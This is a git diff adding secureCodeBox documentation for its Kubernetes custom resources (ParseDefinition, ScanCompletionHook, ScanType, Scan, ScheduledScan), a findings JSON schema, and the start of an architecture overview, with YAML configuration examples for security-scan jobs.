create aliases for fields in findings. +The goal of this field is to ensure that the `scopeSelector` can always select an alias, regardless of the underlying representation of the data in a finding. +This field supports Mustache templating and has access to the finding object. + +See the [Scope HowTo](/docs/how-tos/scope) for more information. + +### Affinity and Tolerations (optional) + +[`affinity`](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes-using-node-affinity/) and [`tolerations`](https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/) can be used to control which nodes the parser is executed on. +The values should be set via Helm values (during install) or by specifying `affinity` and/or `tolerations` in the `Scan` specification. + +### Resources (Optional) + +`resources` lets you overwrite the resource limits and requests for the parser container. See https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/ + +```yaml +resources: + requests: + cpu: 42mi + memory: 256Mi + limits: + cpu: 4 + memory: 4Gi +``` + +If no resources are set the following defaults are applied: + +```yaml +resources: + requests: + cpu: 200m + memory: 100Mi + limits: + cpu: 400m + memory: 200Mi +``` + +When you only want to set either requests or limits, you will have to set the other one explicitly to null to avoid the defaulting applied via the Kubernetes API, e.g. to disable the resource limits: + +```yaml +resources: + requests: + cpu: 200m + memory: 100Mi + limits: null +``` + +## Example + +```yaml +apiVersion: execution.securecodebox.io/v1 +kind: ParseDefinition +metadata: + name: zap-json +spec: + image: docker.io/securecodebox/parser-zap + imagePullSecrets: + - name: dockerhub-token + ttlSecondsAfterFinished: 60 + scopeLimiterAliases: + domain: "{{attributes.host}}" + resources: + requests: + cpu: 42mi + memory: 256Mi + limits: + cpu: 4 + memory: 4Gi +``` + +The Parse definition is different when integrating a new scanner. We use specific conventions when adding new ParseDefinitions to the secureCodeBox repository. +More information can be found on the [templates folder documentation page for integrating new scanners](/docs/contributing/integrating-a-scanner/templates-dir) diff --git a/documentation/docs/api/crds/scan-completion-hook.md b/documentation/docs/api/crds/scan-completion-hook.md new file mode 100644 index 0000000000..ca7ff3ad8e --- /dev/null +++ b/documentation/docs/api/crds/scan-completion-hook.md @@ -0,0 +1,166 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "ScanCompletionHook" +sidebar_position: 6 +--- + +ScanCompletionHooks are Custom Resource Definitions (CRD's) used to define custom behavior which should be run after a scan has been completed. + +For more detailed explanations on how a new hook can be integrated, see the [hooks section](/docs/contributing/integrating-a-hook) in the contribution part of our docs. + +## Specification (Spec) + +### Type (Required) + +The `type` field can be either `ReadOnly` or `ReadAndWrite`. + +`ReadOnly` hooks only have read rights on the findings and the raw scan reports (e.g. XML output from nmap). These are usually used to export the findings into a external system like "Elasticsearch" or "DefectDojo" or to send out notifications to chats like "Slack". ReadOnly hooks are executed in parallel to speed up their runtime. + +`ReadAndWrite` hooks have the ability to update both the findings and raw scan reports. This can be used to attach additional metadata to the findings by comparing the findings to external inventory systems or APIs of cloud providers. + +### Priority (Optional) + +The `priority` field helps determine the execution order of the hook. +Hooks with a higher priority will be scheduled before hooks with a lower priority. +By default, hooks are given a priority of 0. +Hooks with equal priority are scheduled according to the default schedule: + +1. Run ReadAndWrite hooks one by one (undefined order). +2. Once all ReadAndWrite hooks are completed, ReadOnly hooks are scheduled in parallel. + +The following diagram shows an example run: + +```text + Priority 2 Priority 1 Priority 0 + +-------------------------------------------------------------------+ +----------------------+ +----------------------+ + | +--------------+ +--------------+ +--------------+ | | +--------------+ | | +--------------+ | + | -> | ReadAndWrite |------>| ReadAndWrite |------>| ReadOnly | | | -> | ReadOnly | | ---> | -> | ReadAndWrite | | + | +--------------+ +--------------+ | +--------------+ | | +--------------+ | | +--------------+ | +--> | | | --> | | +----------------------+ + | | +--------------+ | | +--------------+ | + | +--->| ReadOnly | | | -> | ReadOnly | | + | +--------------+ | | +--------------+ | + +-------------------------------------------------------------------+ +----------------------+ +``` + +### Image (Required) + +The `image` field contains a container image reference for the image supposed to run as the hook. + +### ImagePullSecrets (Optional) + +The `imagePullSecrets` field can be used to specify pull secrets used to access the hooks image from a private registry. + +### ImagePullPolicy (Optional) + +The `imagePullPolicy` field can be used to specify under which circumstances the images should be pulled from the registry. +One of Always, Never, IfNotPresent. Defaults to Always if :latest tag is specified, or IfNotPresent otherwise. +See the [Kubernetes docs](https://kubernetes.io/docs/concepts/containers/images#updating-images) for more information. + +### Env (Optional) + +The `env` field can be used to specify env variables and to mount secrets into containers. + +### Volumes (Optional) + +`volumes` lets you specify Kubernetes volumes that you want to use and make available to the hook. +Similarly to `env`, it can be used to pass data into a container. +It has to be combined with [`volumeMounts`](#volumemounts-optional) to be useful (see below). + +### VolumeMounts (Optional) + +`volumeMounts` let you specify where you want the previously-created volumes to be mounted inside the container. +It has the same API as the `volumeMounts` property on Kubernetes pods. + +### Affinity and Tolerations (optional) + +[`affinity`](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes-using-node-affinity/) and [`tolerations`](https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/) can be used to control which nodes the parser is executed on. +The values should be set via Helm values (during install) or by specifying `affinity` and/or `tolerations` in the `Scan` specification. + +### ServiceAccountName (Optional) + +The `serviceAccountName` field can be used to specify a custom ServiceAccount to use for the Kubernetes Job running the hook. +Should only be used if your hook needs specific RBAC Access. Otherwise the hook is run using a `scan-completion-hook` service account. + +The service account should have at least `get` rights on `scans.execution.securecodebox.io`, and `get` & `patch` on `scans.execution.securecodebox.io/status` so that the hooks can work correctly. + +### TTLSecondsAfterFinished (Optional) + +`ttlSecondsAfterFinished` can be used to automatically delete the completed Kubernetes job used to run the hook. +This sets the `ttlSecondsAfterFinished` field on the created job. This requires your cluster to have the [TTLAfterFinished](https://kubernetes.io/docs/concepts/workloads/controllers/ttlafterfinished/) feature gate enabled in your cluster. + +### Resources (Optional) + +`resources` lets you overwrite the resource limits and requests for the hook container. See https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/ + +```yaml +resources: + requests: + cpu: 42mi + memory: 256Mi + limits: + cpu: 4 + memory: 4Gi +``` + +If no resources are set the following defaults are applied: + +```yaml +resources: + requests: + cpu: 200m + memory: 100Mi + limits: + cpu: 400m + memory: 200Mi +``` + +When you only want to set either requests or limits, you will have to set the other one explicitly to null to avoid the defaulting applied via the Kubernetes API, e.g. to disable the resource limits: + +```yaml +resources: + requests: + cpu: 200m + memory: 100Mi + limits: null +``` + +## Example + +```yaml +apiVersion: execution.securecodebox.io/v1 +kind: ScanCompletionHook +metadata: + name: elastic-persistence-hook +spec: + type: ReadOnly + priority: 2 + image: docker.io/securecodebox/persistence-elastic:latest + imagePullSecrets: + - name: image-pull-secret + serviceAccountName: elastic-persistence + env: + - name: ELASTICSEARCH_ADDRESS + value: https://data.chase.securecodebox.io + - name: ELASTICSEARCH_USERNAME + valueFrom: + secretKeyRef: + key: username + name: elastic-persistence-credentials + - name: ELASTICSEARCH_PASSWORD + valueFrom: + secretKeyRef: + key: password + name: elastic-persistence-credentials + ttlSecondsAfterFinished: 60 + resources: + requests: + cpu: 42mi + memory: 256Mi + limits: + cpu: 4 + memory: 4Gi +``` diff --git a/documentation/docs/api/crds/scan-type.md b/documentation/docs/api/crds/scan-type.md new file mode 100644 index 0000000000..587ecd48b5 --- /dev/null +++ b/documentation/docs/api/crds/scan-type.md @@ -0,0 +1,83 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "ScanType" +sidebar_position: 4 +--- + +The ScanType Custom Resource Definition (CRD) is used to define to the secureCodeBox how a specific scanner can be executed in Kubernetes. The main part of the ScanType is the [JobTemplate](#jobtemplate-required), which contains a Kubernetes Job definition that will be used to construct the scans Job. + +## Specification (Spec) + +### ExtractResults (Required) + +The `extractResults` field contains an object (fields of the object listed below) which describes what types of results this scanType produced and from where these should be extracted. + +#### ExtractResults.Type (Required) + +The `type` field indicates the type of the file. +Usually a combination of the scanner name and file type. E.g. `nmap-xml` + +The type is used to determine which parser would be used to handle this result file. + +#### ExtractResults.Location (Required) + +The `location` field describes from where the result file can be extracted. +The absolute path on the containers file system. + +Must be located in `/home/securecodebox/` so that the result is reachable by the secureCodeBox Lurker sidecar which performs the actual extraction of the result. +E.g. `/home/securecodebox/nmap-results.xml` + +### JobTemplate (Required) + +Template of the Kubernetes job to create when running the scan. + +For info about the JobTemplate generic parameters, see here: https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.19/#job-v1-batch +When specified, as with the `ttlSecondsAfterFinished` parameter, the values from `values.yaml` will be used in the JobTemplate. + +## Example + +```yaml +apiVersion: "execution.securecodebox.io/v1" +kind: ScanType +metadata: + name: "typo3scan" +spec: + extractResults: + type: typo3scan-json + location: "/home/securecodebox/typo3scan.json" + jobTemplate: + spec: + {{- if .Values.scanner.ttlSecondsAfterFinished }} + ttlSecondsAfterFinished: {{ .Values.scanner.ttlSecondsAfterFinished }} + {{- end }} + backoffLimit: {{ .Values.scanner.backoffLimit }} + template: + spec: + restartPolicy: Never + containers: + - name: typo3scan + image: "{{ .Values.scanner.image.repository }}:{{ .Values.scanner.image.tag | default .Chart.AppVersion }}" + command: + - "python3" + - "/home/typo3scan/typo3scan.py" + # Remove any user-interation + - "--no-interaction" + # Output in json format + - "--json" + resources: + {{- toYaml .Values.scanner.resources | nindent 16 }} + securityContext: + {{- toYaml .Values.scanner.securityContext | nindent 16 }} + env: + {{- toYaml .Values.scanner.env | nindent 16 }} + volumeMounts: + {{- toYaml .Values.scanner.extraVolumeMounts | nindent 16 }} + {{- if .Values.scanner.extraContainers }} + {{- toYaml .Values.scanner.extraContainers | nindent 12 }} + {{- end }} + volumes: + {{- toYaml .Values.scanner.extraVolumes | nindent 12 }} +``` diff --git a/documentation/docs/api/crds/scan.md b/documentation/docs/api/crds/scan.md new file mode 100644 index 0000000000..5418f4a528 --- /dev/null +++ b/documentation/docs/api/crds/scan.md @@ -0,0 +1,413 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Scan" +sidebar_position: 2 +--- + +The Scan Custom Resource Definition (CRD) lets you define how a specific scan should be configured. +The secureCodeBox Operator will then use this specification to execute the scan. + +## Specification (Spec) + +### ScanType (Required) + +The `scanType` references the **name** of a [ScanType Custom Resource](/docs/api/crds/scan-type/). + +### Parameters (Required) + +`parameters` is a string array of command line flags which are passed to the scanner. + +These usually contain scanner specific configurations and target specification. + +### Env (Optional) + +`env` lets you pass in custom environment variables to the scan container. +This can be useful to pass in secret values like login credentials scanner require without having to define them in plain text. + +Env has the same API as "env" property on Kubernetes Pods. + +See: + +- [Documentation](https://kubernetes.io/docs/tasks/inject-data-application/define-environment-variable-container/) +- [API Reference](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.18/#envvar-v1-core) + +### Volumes (Optional) + +`volumes` lets you specify Kubernetes volumes that you want to use and make available to the scan container. +Similarly to `env`, it can be used to pass data into a container. +It has to be combined with [`volumeMounts`](#volumemounts-optional) to be useful (see below). +It can also be used in combination with `initContainers` to provision files, VCS repositories, or other content into a scanner - see [`initContainers`](#initcontainers-optional) for an example. + +`volumes` has the same API as the `volumes` property on Kubernetes pods. + +See: + +- [Documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-volume-storage/) +- [API Reference](https://v1-18.docs.kubernetes.io/docs/reference/generated/kubernetes-api/v1.18/#volume-v1-core) + +### VolumeMounts (Optional) + +`volumeMounts` let you specify where you want the previously-created volumes to be mounted inside the container. +It is used in combination with [`volumes`](#volumes-optional) (see above). + +`volumeMounts` has the same API as the `volumeMounts` property on Kubernetes pods. + +See: + +- [Documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-volume-storage/) +- [API Reference](https://v1-18.docs.kubernetes.io/docs/reference/generated/kubernetes-api/v1.18/#volumemount-v1-core) + +### InitContainers (Optional) + +`initContainers` lets you specify a (set of) container(s) that are run before the scan itself. +You can specify arbitrary containers with any command that you desire. +By default, init containers do not share a file system with the scan job. +If you want to use init containers to provision files or directories for the scan job, you need to explicitly create a volume and mount it to both the init container and the scan job itself (using the [`volumeMounts`](#volumemounts-optional) discussed above). +For example, if you want to download a file that contains a list of scan targets for nmap, you could configure the scan like this: + +```yaml +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: + name: "nmap-from-web" +spec: + # Specify a volume that will be used to share files between the containers + volumes: + - name: target-list + emptyDir: {} + # Mount the volume to the scanner at the path /targets + volumeMounts: + - mountPath: "/targets/" + name: target-list + # Declare the initContainers + initContainers: + # For this, we use only a single init container - you can specify multiple, and they will be executed sequentially + - name: "download-targets" + # Use the "busybox" image, which contains wget + image: busybox + # Launch wget to download a list of targets and place it in /targets/targets.txt + command: + - wget + - "https://my.website.tld/targets.txt" + - "-O" + - /targets/targets.txt + # Make the volume used above available to the initContainer as well, at the same path + volumeMounts: + - mountPath: "/targets/" + name: target-list + # Declare the actual scan you want to perform, using the downloaded file + scanType: "nmap" + parameters: + - "-iL" + - "/targets/targets.txt" +``` + +`initContainers` has the same API as the `initContainers` property on Kubernetes pods, which is a list of `container`s. + +See: + +- [Documentation](https://kubernetes.io/docs/concepts/workloads/pods/init-containers/) +- [API Reference](https://v1-18.docs.kubernetes.io/docs/reference/generated/kubernetes-api/v1.18/#container-v1-core) + +### Affinity and Tolerations (optional) + +[`affinity`](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes-using-node-affinity/) and [`tolerations`](https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/) can be used to control which nodes the parser is executed on. + +### Cascades (Optional) + +`cascades` let you start new scans based on the results of the current scan. + +The cascades config in the scans spec contains [Kubernetes Label Selectors](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.19/#labelselector-v1-meta) which allow you to select which [CascadingRule](https://www.securecodebox.io/docs/api/crds/cascading-rule) are allowed to be used by the cascading logic. + +Furthermore, in the cascade config you can specify whether cascading scan should inherit parent fields: + +- `inheritLabels`: `true` +- `inheritAnnotations`: `true` +- `inheritEnv`: `false` +- `inheritVolumes`: `false` +- `inheritInitContainers`: `false` +- `inheritHookSelector`: `false` +- `inheritAffinity`: `true` +- `inheritTolerations`: `true` + +These fields will merge the parent's entries with entries defined in the cascading rules. +Entries defined in cascading rules will only apply to the current scan. +There are two exceptions to this rule: in the case of Affinity and Tolerations, entries will be replaced instead of merged, and will be used for all following scans. + +:::caution +Defining identical entries in both the Scan AND the Cascading Rule resource will lead to undefined behaviour. +See [#789](https://github.com/secureCodeBox/secureCodeBox/issues/789) for more details. +::: + +To use cascades you'll need to have the [CascadingScan hook](https://www.securecodebox.io/docs/hooks/cascading-scans) installed. +For an example on how they can be used see the [Scanning Networks HowTo](https://www.securecodebox.io/docs/how-tos/scanning-networks) + +#### ScopeLimiter (Optional) + +`scopeLimiter` allows you to define certain rules to which cascading scans must comply before they may cascade. +For example, you can define that you can only trigger a follow-up scan against a host if its IP address is within your predefined IP range. +You can use Mustache templating in order to select certain properties from findings. + +Under `scopeLimiter`, you may specify `anyOf`, `noneOf`, and `allOf` with a selector to limit your scope. +If you specify multiple fields, all the rules must pass. + +A selector looks similar to the [Kubernetes Label Selectors](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.19/#labelselector-v1-meta). + +```yaml +anyOf: + - key: "scope.cascading.securecodebox.io/cidr" + operator: "InCIDR" + values: ["{{attributes.ip}}"] +``` + +The `key` references one of the annotations defined on your scan. +The annotation name _must_ start with `scope.cascading.securecodebox.io/`. +These annotations can only be added on the initial scan (i.e., they cannot be modified using the [`scanAnnotations`](/docs/api/crds/cascading-rule#scanlabels--scanannotations-optional) field of the cascading scan rules) and are inherited by default. + +`operator` is one of `In`, `NotIn`, `Contains`, `DoesNotContain`, `InCIDR`, `NotInCIDR`, `SubdomainOf`, `NotSubdomainOf`. + +`values` is a list of values for which the selector should pass. + +##### Selecting lists + +A custom rendering function has been provided to select attributes in findings that are in a list. An example finding: + +```json title="Finding" +{ + name: "Subdomains found", + category: "Subdomain" + attributes: { + domains: ["example.com", "subdomain.example.com"], + } +} +``` + +To select the domains data in this finding, use the `asList` notation as shown below. + +```yaml +annotations: + scope.cascading.securecodebox.io/domain: "example.com" +--- +key: "scope.cascading.securecodebox.io/domain" +operator: "In" +values: ["{{#asList}}{{attributes.domains}}{{/asList}}"] +``` + +The values will render to: `["example.com", "subdomain.example.com"]`. + +Some findings have data in lists of objects, such as the following: + +```json title="Finding" +{ + name: "Subdomains found", + category: "Subdomain" + attributes: { + addresses: [ + { + domain: "example.com", + ip: "127.0.0.1", + }, + { + domain: "subdomain.example.com", + ip: "127.0.0.2", + } + ] + } +} +``` + +To select the domains data in this finding, use the `getValues` notation as shown below. + +```yaml +annotations: + scope.cascading.securecodebox.io/domain: "example.com" +--- +key: "scope.cascading.securecodebox.io/domain" +operator: "In" +# Note that the parameter is *not* set inside curly braces! +values: ["{{#getValues}}attributes.addresses.domain{{/getValues}}"] +``` + +You can also manually split values from findings if your finding is like so: + +```json title="Finding" +{ + name: "Subdomains found", + category: "Subdomain" + attributes: { + domains: "example.com,subdomain.example.com", + } +} +``` + +To select the domains data in this finding, use the `split` notation as shown below. + +```yaml +annotations: + scope.cascading.securecodebox.io/domain: "example.com" +--- +key: "scope.cascading.securecodebox.io/domain" +operator: "In" +values: ["{{#split}}{{attributes.domains}}{{/split}}"] +``` + +##### Operators + +`In` & `NotIn`: The scope annotation value exists in one of `values`. Matching example: + +```yaml +annotations: + scope.cascading.securecodebox.io/domain: "example.com" +--- +key: "scope.cascading.securecodebox.io/domain" +operator: "In" +values: ["example.com", "subdomain.example.com"] +``` + +`Contains` & `DoesNotContain`: The scope annotation value is considered a comma-seperated list and checks if every `values` is in that list. Matching example: + +```yaml +annotations: + scope.cascading.securecodebox.io/domain: "example.com,subdomain.example.com,other.example.com" +--- +key: "scope.cascading.securecodebox.io/domain" +operator: "Contains" +values: ["example.com", "subdomain.example.com"] +``` + +`InCIDR` & `NotInCIDR`: The scope annotation value is considered a [CIDR](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing) and checks if every `values` is within the subnet of that CIDR. Supports both IPv4 and IPv6. If the scope is defined in IPv4, will only validate IPv4 IPs in the finding values. Vice-versa for IPv6 defined in scope and IPv4 found in values. Note that all IPs in finding values must be valid addresses, regardless of whether IPv4 or IPv6 was used in the scope definition. Matching example: + +```yaml +annotations: + scope.cascading.securecodebox.io/cidr: "10.10.0.0/16" +--- +key: "scope.cascading.securecodebox.io/cidr" +operator: "InCIDR" +values: ["10.10.1.2", "10.10.1.3", "2001:0:ce49:7601:e866:efff:62c3:fffe"] +``` + +`SubdomainOf` & `NotSubdomainOf`: Checks if every `values` is a subdomain of the scope annotation value (inclusive; i.e. example.com is a subdomain of example.com). Matching example: + +```yaml +annotations: + scope.cascading.securecodebox.io/domain: "example.com" +--- +key: "scope.cascading.securecodebox.io/domain" +operator: "SubdomainOf" +values: ["subdomain.example.com", "example.com"] +``` + +See the [Scope HowTo](/docs/how-tos/scope) for more information. + +### HookSelector (Optional) + +`hookSelector` allows you to select which hooks to run using [Kubernetes Label Selectors](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.19/#labelselector-v1-meta). + +You can only select hooks in the namespace in which the scan is running. + +Leaving this field undefined will select all available hooks in this namespace. + +```yaml +hookSelector: + matchExpressions: + - key: app.kubernetes.io/instance + operator: In + values: ["defectdojo", "cascading-scans"] +``` + +:::note +Cascading scans are currently implemented as a hook. +To use cascading scans in combination with hookSelector, ensure that you also select the cascading scans hook. +The cascading scan hook, as well as any future core secureCodeBox features implemented as hooks, carry the label `securecodebox.io/internal: true` to make this easier. +::: + +For more examples on how this field can be used, see the [Hook HowTo](/docs/how-tos/hooks). + +### Resources (Optional) + +`resources` lets you overwrite the resource limits and requests for the primary scanner container from the values defined in the [ScanType](./scan-type). See https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/ + +```yaml +resources: + requests: + cpu: 42mi + memory: 256Mi + limits: + cpu: 4 + memory: 4Gi +``` + +## Metadata + +Metadata is a standard field on Kubernetes resources. It contains multiple relevant fields, e.g. the name of the resource, its namespace and a `creationTimestamp` of the resource. See more on the [Kubernetes Docs](https://kubernetes.io/docs/concepts/overview/working-with-objects/kubernetes-objects/) and the [Kubernetes API Reference](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.21/#objectmeta-v1-meta). + +## Status + +Defines the observed state of a Scan. This will be filled by Kubernetes. +It contains (see: [Go Type ScanStatus](https://github.com/secureCodeBox/secureCodeBox/blob/main/operator/apis/execution/v1/scan_types.go#L49)) + +- `State`: State of the scan (See: [secureCodeBox | ScanControler](https://github.com/secureCodeBox/secureCodeBox/blob/main/operator/controllers/execution/scans/scan_controller.go#L105)) +- `FinishedAt`: Time when scan, parsers and hooks for this scan are marked as 'Done' +- `ErrorDescription`: Description of an Error (if there is one) +- `RawResultType`: Determines which kind of ParseDefinition will be used to turn the raw results of the scanner into findings +- `RawResultFile`: Filename of the result file of the scanner. e.g. `nmap-result.xml` +- `FindingDownloadLink`: Link to download the finding json file from. Valid for 7 days +- `RawResultDownloadLink`: RawResultDownloadLink link to download the raw result file from. Valid for 7 days +- `Findings`: FindingStats (See [Go Type FindingStats](https://github.com/secureCodeBox/secureCodeBox/blob/main/operator/apis/execution/v1/scan_types.go#L89)) +- `ReadAndWriteHookStatus`: Status of the Read and Write Hooks + +## Example + +```yaml +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +status: # Set during runtime. Do not edit via values.yaml etc. +metadata: + name: "nmap-scanme.nmap.org" + annotations: + scope.cascading.securecodebox.io/cidr: "10.10.0.0/16" + scope.cascading.securecodebox.io/domain: "example.com" +spec: + scanType: "nmap" + parameters: + # Use nmap's service detection feature + - "-sV" + - scanme.nmap.org + env: + - name: TEST_ENV + valueFrom: + secretKeyRef: + key: secret-name + name: zap-customer-credentials + - name: GREETING + value: "Hello from the secureCodeBox :D" + cascades: + inheritLabels: false + inheritAnnotations: true + matchLabels: + securecodebox.io/intensive: light + matchExpression: + key: "securecodebox.io/invasive" + operator: In + values: [non-invasive, invasive] + scopeLimiter: + validOnMissingRender: true + allOf: + - key: "scope.cascading.securecodebox.io/cidr" + operator: "InCIDR" + values: ["{{attributes.ip}}"] + noneOf: + - key: "scope.cascading.securecodebox.io/domain" + operator: "SubdomainOf" + values: ["{{attributes.hostname}}"] + resources: + requests: + cpu: 42mi + memory: 256Mi + limits: + cpu: 4 + memory: 4Gi +``` diff --git a/documentation/docs/api/crds/scheduled-scan.md b/documentation/docs/api/crds/scheduled-scan.md new file mode 100644 index 0000000000..a745a4acbe --- /dev/null +++ b/documentation/docs/api/crds/scheduled-scan.md @@ -0,0 +1,60 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "ScheduledScan" +sidebar_position: 3 +--- + +The ScheduledScan Custom Resource Definition (CRD) lets you define a [Scan](/docs/api/crds/scan-type/) which gets repeated in a specific time interval. E.g. every 24 hours or every 7 days. + +## Specification (Spec) + +### Interval (Required) + +The `interval` specifies the interval between two scans. + +Specified as a [golang duration string](https://golang.org/pkg/time/#ParseDuration). + +:::caution +The biggest duration golang time strings support is **hours**. Longer durations e.g. days / weeks need to specified as multiples of hours. +We plan to improve this in the future, by providing a custom format which also supports days and weeks. +::: + +### ScanSpec (Required) + +The `scanSpec` contains the specification of the scan which should be repeated. + +See the `spec` field of the [Scan CRD](/docs/api/crds/scan-type/) for all supported attributes. + +### SuccessfulJobsHistoryLimit (Optional) + +The `successfulJobsHistoryLimit` controls how many completed scans are supposed to be kept until the oldest one will be deleted. + +Defaults to 3 if not set. When set to `0`, scans will be deleted directly after their completion. + +### FailedJobsHistoryLimit (Optional) + +The `failedJobsHistoryLimit` controls how many failed scans are supposed to be kept until the oldest one will be deleted. + +Defaults to 1 if not set. When set to `0`, scans will be deleted directly after failure. + +## Example + +```yaml +apiVersion: "execution.securecodebox.io/v1" +kind: ScheduledScan +metadata: + name: "nmap-scanme.nmap.org-daily" +spec: + interval: 24h + scanSpec: + scanType: "nmap" + parameters: + # Use nmaps service detection feature + - "-sV" + - scanme.nmap.org + successfulJobsHistoryLimit: 3 + failedJobsHistoryLimit: 5 +``` diff --git a/documentation/docs/api/finding.md b/documentation/docs/api/finding.md new file mode 100644 index 0000000000..230002b3b9 --- /dev/null +++ b/documentation/docs/api/finding.md @@ -0,0 +1,136 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Finding" +--- + +All scanners integrated in the secureCodeBox create a JSON-Array of Findings objects. +The 'findings.json' file that contains these Findings complies with the following JSON Schema (Draft-04). + +```yaml +{ + "$schema": "http://json-schema.org/draft-04/schema", + "type": "array", + "description": "Array of Findings.", + "items": { + "$ref": "#/$defs/finding" + }, + "$defs": { + "finding": { + "type": "object", + "additionalProperties": true, + "properties": { + "id": { + "description": "The unique identifier for a Finding according to RFC4122.", + "type": "string", + "format": "uuid" + }, + "identified_at": { + "description": "Date-Time when the Finding was exactly identified according to ISO8601. This information will often not be present.", + "type": "string", + "format": "date-time" + }, + "parsed_at": { + "description": "Date-Time when the Finding was parsed according to ISO8601. This information will always be present.", + "type": "string", + "format": "date-time" + }, + "name": { + "description": "Contains a short description of the Finding.", + "type": "string" + }, + "description": { + "description": "In depth description, can span multiple paragraphs.", + "type": "string", + "nullable": true + }, + "category": { + "description": "Is often used to group finding based on their types.", + "type": "string" + }, + "severity": { + "description": "Indicates the severity of the finding.", + "type": "string", + "enum": [ + "INFORMATIONAL", + "LOW", + "MEDIUM", + "HIGH" + ] + }, + "mitigation": { + "description": "Contains a short description of how to mitigate the issue.", + "type": "string", + "nullable": true + }, + "references": { + "nullable": true, + "type": "array", + "items": { + "type": "object", + "properties": { + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": ["type", "value"] + } + }, + "attributes": { + "description": "Attributes are not standardized. They differ from Scanner to Scanner.", + "type": "object" + }, + "location": { + "description": "Full URL with protocol, port, and path if existing.", + "type": "string", + "nullable": true + } + }, + "required": [ + "id", + "parsed_at", + "severity", + "category", + "name" + ] + } + } +} +``` + +An example findings object is shown below: + +```yaml +{ + "id": "eef8dd78-5079-4d1d-8a4c-68e3268c439c", + "name": "Vulnerability in Dependency apk-tools (2.10.4-r3)", + "description": "libfetch before 2021-07-26, as used in apk-tools, xbps, and other products, mishandles numeric strings for the FTP and HTTP protocols. The FTP passive mode implementation allows an out-of-bounds read because strtol is used to parse the relevant numbers into address bytes. It does not check if the line ends prematurely. If it does, the for-loop condition checks for the '\\0' terminator one byte too late.", + "category": "Image Vulnerability", + "location": "bkimminich/juice-shop:v10.2.0", + "osi_layer": "NOT_APPLICABLE", + "severity": "HIGH", + "mitigation": "Update the affected package apk-tools to the fixed version: 2.10.7-r0 or remove the package from the image.", + "references": [{ + "type": "CVE", + "value": "CVE-2021-36159" + }, + { + "type": "URL", + "value": "https://lists.apache.org/thread.html/rbf4ce74b0d1fa9810dec50ba3ace0caeea677af7c27a97111c06ccb7@%3Cusers.kafka.apache.org%3E" + }] + , + "attributes": { + "installedVersion": "2.10.4-r3", + "fixedVersion": "2.10.7-r0", + "packageName": "apk-tools", + "vulnerabilityId": "CVE-2021-36159", + "foundIn": "bkimminich/juice-shop:v10.2.0 (alpine 3.11.5)" + }, + "parsed_at": "2023-04-05T15:46:46.601Z" +} +``` diff --git a/documentation/docs/architecture/01_introduction_and_goals.md b/documentation/docs/architecture/01_introduction_and_goals.md new file mode 100644 index 0000000000..01f089953d --- /dev/null +++ b/documentation/docs/architecture/01_introduction_and_goals.md @@ -0,0 +1,90 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Introduction and Goals" +sidebar_label: "Introduction and Goals" +sidebar_position: 1 +--- +# Introduction and Goals {#section-introduction-and-goals} + +Initially, the goal of _secureCodeBox_ was to provide a tool for easy integrating security test tools into your CI/CD pipeline to run against your web project. Some years ago we asked ourselves: Why only scan a single project? So a great idea was born: Consider the whole company as a project. Additionally, _secureCodeBox_ can aid penetration testers in the recon and discovery phase of a security assessment. The purpose of _secureCodeBox_ is not to replace the penetration testers or make them obsolete. We strongly recommend running extensive tests by experienced penetration testers on all your applications. + +The following goals have been established for this project: + +| **Priority** | | +|--------------|-------------------------------------------------------------------------------------------------------------------| +| 1 | The project shall be enhanced by features that are suitable to keep. | +| 2 | The project is scalable and resource efficient (FaaS). | +| 3 | The project implements additional scanners that are a useful addition for the current suite, limiting redundancy. | +| 4 | The findings are displayed in a navigable way with least amount of duplication. | +| 5 | SecureCodeBox starts new relevant scans in an agile way, based on previous findings. | + +## Requirements Overview {#_requirements_overview} + +The following use case diagram is only a visual overview of the most important use cases. We do not encourage to model all use cases in detail with UML because it is hard to grasp all nit-picky details of the official UML syntax. We just use bubbles and simple lines to show which actors need which use case scenario. + +![Use-case diagram](/img/docs/architecture/use-case-diagram.png) + +### Roles + +| **Actor** | **Description** | +|-----------|-------------------------------------------------------------------------------------------| +| Tester | This role is the actual end user performing scans and evaluating the results. | +| CI | This role is a system periodically performing scans e.g. after build and deployment. | +| Operator | This role operates the _secureCodeBox_ (mainly the k8s cluster and the _Engine operator_. | + +### Use Cases + +| **Id** | **Requirement** | **Explanation** | +|--------|-----------------------------------|----------------------------------------------------------------------------------------------------------------------| +| UC1 | Define scan | The _Tester_ defines scans with a _target_ reachable by network and _scan types_ to be executed against this target. | +| UC2 | Define cascading scan | The _Tester_ defines a scan which triggers subsequent scans depending on the result of the current scan. | +| UC3 | Initiate scan | The _Tester_ or _CI_ triggers a defined scan. | +| UC4 | Get scan results | The _Tester_ retrieves the scan results for further examination. | +| UC5 | Deploy scan in namespace to k8s 